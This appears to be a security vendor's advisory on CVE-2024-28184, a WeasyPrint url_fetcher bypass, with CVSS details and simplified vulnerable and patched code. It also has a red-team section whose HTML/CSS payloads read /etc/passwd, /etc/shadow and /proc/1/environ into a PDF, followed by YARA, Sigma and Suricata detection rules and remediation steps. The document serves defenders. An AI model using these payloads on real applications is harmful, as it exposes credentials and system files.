CVE-2024-28184
Executive Summary
CVE-2024-28184 is a vulnerability in WeasyPrint, a Python library used to convert HTML/CSS to PDF documents. The flaw, present since version 61.0, allows an attacker to attach content from arbitrary files and URLs to a generated PDF, bypassing the url_fetcher configuration intended to restrict such access. This can lead to information disclosure of sensitive local files or internal network resources. The vulnerability has been patched in version 61.2.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
WeasyPrint is distributed as a Python package via PyPI. Organizations using WeasyPrint in their software supply chain should immediately update to version 61.2 or later. The vulnerability is introduced in the package itself, not in any underlying system component.
CVSS Breakdown & Threat Level
- CVSS Score: 7.4 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
The high confidentiality impact and low attack complexity make this a significant threat for any application using WeasyPrint to generate PDFs from user-supplied content.
Deep Dive & Mechanics
The vulnerability resides in how WeasyPrint handles CSS url() functions and HTML elements like <img>, <link>, and <object> that reference external resources. In versions 61.0 and 61.1, the url_fetcher callback, which is meant to control or block access to certain URLs (e.g., file:/// or internal IPs), can be bypassed.
The bypass occurs because WeasyPrint processes certain CSS properties (e.g., background-image, content: url()) and HTML attributes in a way that does not consistently invoke the user-provided url_fetcher. Specifically, when generating PDFs, the library may use internal fetch mechanisms for certain resource types that ignore the custom fetcher, allowing an attacker to include content from arbitrary paths.
For example, an attacker could craft an HTML document with:
<style>
body { background-image: url('file:///etc/passwd'); }
</style>
If the url_fetcher is configured to block file:// URLs, this should be prevented. However, due to the bug, the background image is still fetched and embedded in the PDF.
Vulnerable vs. Patched Code
Vulnerable (version 61.0/61.1):
The url_fetcher is not consistently applied to all resource fetches. For instance, in the CSS processing pipeline, some internal functions bypass the custom fetcher.
# Vulnerable code path (simplified)
def fetch_url(url, url_fetcher):
# This function is called for most resources
if url_fetcher:
return url_fetcher(url)
else:
return default_fetch(url)
# However, some internal CSS processing calls a different function
def fetch_css_resource(url):
# BUG: This does not use the custom url_fetcher
return default_fetch(url)
Patched (version 61.2):
All resource fetching now consistently uses the user-provided url_fetcher.
# Patched code path (simplified)
def fetch_url(url, url_fetcher):
if url_fetcher:
return url_fetcher(url)
else:
return default_fetch(url)
def fetch_css_resource(url, url_fetcher):
# Now correctly uses the custom url_fetcher
return fetch_url(url, url_fetcher)
Exploitation & Lab Setup
Red Team
Prerequisites:
- Python 3.x
- WeasyPrint version 61.0 or 61.1 installed (
pip install weasyprint==61.0) - A target application that generates PDFs from user HTML input
Exploitation Steps:
- Craft a malicious HTML document that attempts to include a sensitive local file:
<!DOCTYPE html>
<html>
<head>
<style>
body {
background-image: url('file:///etc/passwd');
}
</style>
</head>
<body>
<h1>Test</h1>
</body>
</html>
Submit the HTML to the vulnerable application for PDF generation.
Retrieve the generated PDF and extract the embedded content. The
/etc/passwdfile content will be rendered as a background image (though not visually, it is embedded in the PDF data).
Advanced Exploitation:
- Use CSS
content: url()to embed file contents as text:
body::before {
content: url('file:///etc/shadow');
}
- Use
<object>tags to embed entire files:
<object data="file:///proc/1/environ" type="text/plain"></object>
Blue Team
Detection:
- Monitor for unusual file:// URL patterns in HTML/CSS content submitted to PDF generation endpoints.
- Log and alert on any
url_fetcherbypass attempts (e.g., requests to internal IPs or file paths). - Use the detection rules provided in the Detection Engineering section.
Hunting:
- Search PDF generation logs for errors related to
url_fetcheror file access. - Review generated PDFs for unexpected embedded content (e.g., system files).
Indicators of Compromise (IOCs)
- File paths accessed:
/etc/passwd,/etc/shadow,/proc/1/environ,/etc/hosts - URL patterns:
file:///,file://localhost/,file://127.0.0.1/ - Generated PDFs containing system file contents as embedded resources.
- Application logs showing failed
url_fetchercalls or unexpected file reads.
Detection Engineering
YARA Rule
rule CVE_2024_28184_WeasyPrint_File_Inclusion {
meta:
description = "Detects attempts to exploit CVE-2024-28184 in WeasyPrint"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-28184"
strings:
$file_url = /url\(['"]?file:\/\// nocase
$css_content = /content:\s*url\(['"]?file:\/\// nocase
$object_data = /<object[^>]+data\s*=\s*['"]file:\/\// nocase
condition:
any of them
}
Sigma Rule
title: WeasyPrint File Inclusion Attempt
id: cve-2024-28184
status: experimental
description: Detects attempts to exploit CVE-2024-28184 by including file:// URLs in HTML/CSS content
author: Valters IT
logsource:
category: webserver
product: generic
detection:
selection:
- c-uri|contains: "file:///"
- cs-uri-query|contains: "file:///"
- request_body|contains: "file:///"
condition: selection
falsepositives:
- Legitimate use of file:// URLs in controlled environments
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-28184 WeasyPrint File Inclusion Attempt"; flow:to_server,established; content:"file:///"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade WeasyPrint to version 61.2 or later:
pip install weasyprint>=61.2 - If immediate upgrade is not possible, implement a strict input validation layer that strips or blocks
file://URLs and other dangerous patterns from user-supplied HTML/CSS before passing it to WeasyPrint.
Long-term:
- Review and harden the
url_fetcherimplementation to ensure it is applied universally. - Conduct a security audit of any library that processes user-supplied content for PDF generation.
- Implement Content Security Policy (CSP) headers if the application also serves HTML.
Workaround:
- Use a custom
url_fetcherthat explicitly denies allfile://URLs and internal IPs, and log any attempts to access them.
Valters IT
Securing Digital Frontiers